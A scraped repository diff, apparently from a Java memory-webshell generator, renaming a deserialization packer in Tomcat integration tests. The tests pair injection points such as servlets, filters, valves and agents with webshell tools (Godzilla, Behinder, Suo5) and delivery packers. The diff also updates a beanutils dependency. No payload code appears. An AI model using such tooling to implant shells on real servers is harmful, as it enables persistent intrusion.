arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
|
|||||||
+16
-16
@@ -42,37 +42,37 @@ public class Tomcat9ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
|
|||||||
@@ -15,6 +15,6 @@ java {
|
|||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation 'commons-fileupload:commons-fileupload:1.3.3'
|
implementation 'commons-fileupload:commons-fileupload:1.3.3'
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.3'
|
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||||
providedCompile "javax.servlet:servlet-api:2.5"
|
providedCompile "javax.servlet:servlet-api:2.5"
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user